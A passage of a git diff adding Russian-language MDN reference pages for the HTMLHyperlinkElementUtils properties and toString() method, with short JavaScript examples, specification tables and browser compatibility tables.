Is a {{domxref("DOMString")}} representing an enumerated attribute indicating alignment of the heading with respect to the surrounding context. The possible values are "left", "right", "justify", and "center".
+
+ +

Методы

+ +

Нет специфичных методов; наследует методы родителя, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlheadingelement", "HTMLHeadingElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements", "HTMLHeadingElement")}}{{Spec2('HTML5 W3C')}}The align property is now obsolete.
{{SpecName('DOM2 HTML', 'html.html#ID-43345119', 'HTMLHeadingElement')}}{{Spec2('DOM2 HTML')}}No change
{{SpecName('DOM1', 'level-one-html.html#ID-43345119', 'HTMLHeadingElement')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLHeadingElement")}}

+ +

See also

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html b/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html new file mode 100644 index 0000000000..8a135ab828 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html @@ -0,0 +1,105 @@ +--- +title: HTMLHyperlinkElementUtils.hash +slug: Web/API/HTMLHyperlinkElementUtils/hash +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/hash +--- +

{{ APIRef("URLUtils") }}

+ +

Свойство HTMLHyperlinkElementUtils.hash – это {{domxref("USVString")}}, содержащий '#' с последующим идентификатором. Идентификатор не декодирован.

+ +

Синтаксис

+ +
string = object.hash;
+object.hash = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou">
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.hash; // Вернет: '#youhou'
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}[1]{{CompatGeckoDesktop("22")}}[2]{{CompatNo}}[1]{{CompatNo}}[1]{{CompatNo}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}[1]{{CompatNo}}[1]{{CompatGeckoMobile("22")}}[2]{{CompatNo}}[1]{{CompatNo}}[1]{{CompatNo}}[1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс. Также с Gecko 29 по Gecko 40 значение ошибочно возвращалось декодированным.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/host/index.html b/files/ru/web/api/htmlhyperlinkelementutils/host/index.html new file mode 100644 index 0000000000..742386e83b --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/host/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.host +slug: Web/API/HTMLHyperlinkElementUtils/host +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/host +--- +
{{ApiRef("URL API")}}
+ +

Свойство HTMLHyperlinkElementUtils.host – это {{domxref("USVString")}}, содержащий хост, а именно имя хоста и, если порт не пустой, ':' и порт.

+ +

Синтаксис

+ +
string = object.host;
+object.host = string;
+
+ +

Примеры

+ +
var anchor = document.createElement("a");
+
+anchor.href = "https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org"
+
+anchor.href = "https://developer.mozilla.org:443/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org"
+// Номер порта пропущен, потому что 443 используется по умолчанию
+
+anchor.href = "https://developer.mozilla.org:4097/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org:4097"
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-host', 'HTMLHyperlinkElementUtils.host')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка[1]{{CompatNo}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}}[2]{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка[1]{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] В Internet Explorer 9 свойство host элемента {{HTMLElement("a")}} всегда включает порт (т.е. developer.mozilla.org:443), даже если порт в href не указан явно.

+ +

[3] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html b/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html new file mode 100644 index 0000000000..da06c3dcb6 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html @@ -0,0 +1,105 @@ +--- +title: HTMLHyperlinkElementUtils.hostname +slug: Web/API/HTMLHyperlinkElementUtils/hostname +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/hostname +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.hostname – это {{domxref("USVString")}}, содержащий домен.

+ +

Синтаксис

+ +
string = object.hostname;
+object.hostname = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.hostname">
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.hostname; // Вернет: 'developer.mozilla.org'
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-protocol', 'URLUtils.hostname')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/href/index.html b/files/ru/web/api/htmlhyperlinkelementutils/href/index.html new file mode 100644 index 0000000000..03a52f2e51 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/href/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/HTMLHyperlinkElementUtils/href +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Location + - Property + - Reference + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.href – это {{domxref("USVString")}}, содержащий URL целиком.

+ +

Синтаксис

+ +
string = object.href;
+object.href = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href">
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Вернет: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/index.html b/files/ru/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..2abe580d83 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,178 @@ +--- +title: HTMLHyperlinkElementUtils +slug: Web/API/HTMLHyperlinkElementUtils +tags: + - API + - Experimental + - Mixin + - NeedsTranslation + - TopicStub + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

Properties

+ +

This interface doesn't inherit any property.

+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
Is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
Is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
Is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
Is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
Is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
Is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
Is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
Is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
Is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
Is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
Returns a {{domxref("USVString")}} containing the origin of the URL, that is its scheme, its domain and its port.
+
+ +

Methods

+ +

This interface doesn't inherit any method.

+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
username and password{{CompatUnknown}}{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
origin {{CompatVersionUnknown()}}{{CompatGeckoDesktop("26")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
username and password{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
origin {{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("26")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Though not grouped in a single abstract interface, these methods are directly available on the interfaces that implement it, if this interface is supported.

+ +

[2] This mixin was called URLUtils before Firefox 45, and was also implemented to other by other interfaces, like {{domxref("Location")}}. From Firefox 45, the other interfaces implements their own version of the properties and methods they need.

+ +

See also

+ + + +
+
 
+
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html b/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html new file mode 100644 index 0000000000..b0e6b46e2e --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.origin +slug: Web/API/HTMLHyperlinkElementUtils/origin +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - Read-only + - Reference + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/origin +--- +

{{APIRef("URL API")}}

+ +

Свойство только для чтения HTMLHyperlinkElementUtils.origin – это {{domxref("USVString")}}, содержащий сериализованные в Unicode протокол, хост и порт, а именно:

+ + + +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
string = object.origin;
+
+ +

Примеры

+ +
// На этой странице
+var result = window.location.origin; // Вернет: 'https://developer.mozilla.org'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown()}}{{CompatGeckoDesktop("26.0")}} [2][3]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("26.0")}} [2][3]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 26 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

[3] До Gecko 49, для URL, начинающихся с blob, ошибочно возвращался null.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/password/index.html b/files/ru/web/api/htmlhyperlinkelementutils/password/index.html new file mode 100644 index 0000000000..668749a367 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/password/index.html @@ -0,0 +1,106 @@ +--- +title: HTMLHyperlinkElementUtils.password +slug: Web/API/HTMLHyperlinkElementUtils/password +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/password +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.password – это {{domxref("USVString")}}, содержащий пароль, указанный перед именем домена.

+ +

password игнорируется без предупреждения, если свойство username не установлено.

+ +

Синтаксис

+ +
string = object.password;
+object.password = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username">
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Вернет: 'flabada'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop("26")}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("26")}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] С Gecko 26 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html new file mode 100644 index 0000000000..9f6fb68608 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html @@ -0,0 +1,106 @@ +--- +title: HTMLHyperlinkElementUtils.pathname +slug: Web/API/HTMLHyperlinkElementUtils/pathname +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.pathname – это {{domxref("USVString")}}, содержащий первый '/' после хоста с последующим текстом URL.

+ +

Синтаксис

+ +
string = object.pathname;
+object.pathname = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname">
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Вернет: '/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/port/index.html b/files/ru/web/api/htmlhyperlinkelementutils/port/index.html new file mode 100644 index 0000000000..2ab4461fc4 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/port/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLHyperlinkElementUtils.port +slug: Web/API/HTMLHyperlinkElementUtils/port +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/port +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.port – это {{domxref("USVString")}}, содержащий номер порта.

+ +

При значении '' будет использоваться порт по умолчанию для указанного протокола (не 0).

+ +

Синтаксис

+ +
string = object.port;
+object.port = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.port">
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.port; // Вернет: '80'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-port', 'HTMLHyperlinkElementUtils.port')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html b/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html new file mode 100644 index 0000000000..d7b3b4327f --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html @@ -0,0 +1,106 @@ +--- +title: HTMLHyperlinkElementUtils.protocol +slug: Web/API/HTMLHyperlinkElementUtils/protocol +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/protocol +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.protocol – это {{domxref("USVString")}}, содержащий протокол URL включая ':' в конце.

+ +

Синтаксис

+ +
string = object.protocol;
+object.protocol = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.protocol">
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.protocol; // Вернет: 'https:'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-protocol', 'HTMLHyperlinkElementUtils.protocol')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/search/index.html b/files/ru/web/api/htmlhyperlinkelementutils/search/index.html new file mode 100644 index 0000000000..7c23ed4fc8 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/search/index.html @@ -0,0 +1,106 @@ +--- +title: HTMLHyperlinkElementUtils.search +slug: Web/API/HTMLHyperlinkElementUtils/search +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/search +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.search – это {{domxref("USVString")}}, содержащий '?' с последующими параметрами URL.

+ +

Синтаксис

+ +
string = object.search;
+object.search = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123">
+var anchor = document.getElementById("myAnchor");
+var result = anchor.search; // Вернет: '?q=123'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html new file mode 100644 index 0000000000..aa8d9362c0 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html @@ -0,0 +1,106 @@ +--- +title: HTMLHyperlinkElementUtils.toString() +slug: Web/API/HTMLHyperlinkElementUtils/toString +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Location + - Method + - Stringifier + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/toString +--- +

{{ApiRef("URL API")}}

+ +

Метод HTMLHyperlinkElementUtils.toString() возвращает {{domxref("USVString")}}, содержащий URL целиком. Это версия {{domxref("HTMLHyperlinkElementUtils.href")}} только для чтения.

+ +

Синтаксис

+ +
string = object.toString();
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString(); // Вернет: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

